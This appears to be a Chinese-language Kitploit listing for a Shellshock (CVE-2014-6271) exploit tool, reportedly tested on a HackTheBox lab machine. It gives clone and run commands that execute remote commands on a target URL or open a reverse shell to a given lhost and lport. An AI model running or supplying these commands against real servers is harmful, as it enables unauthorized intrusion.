cgi-bin-shellshock — [Python/Shell] - 已在 HackTheBox 上测试 - Shocker (简单) CVE-2014-6271 | Kitploit

cgi-bin-shellshock — [Python/Shell] - 已在 HackTheBox 上测试 - Shocker (简单) CVE-2014-6271 | Kitploit

使用方法

克隆仓库（或直接复制粘贴你偏好的脚本）

  sudo git clone https://github.com/Gurguii/shellshock.sh

运行脚本

Bash

    bash shellshock.sh -u <url> -h* <lhost> -p* <lport>

Python

    python3 shellshock.py -u <url> -lh* <lhost> -lp* <lport>

注意：默认 LPORT 为 4444，URL 为必填项。如果只提供 URL，则执行 RCE；否则，它将针对给定的 lhost 和 lport 执行 RSHELL。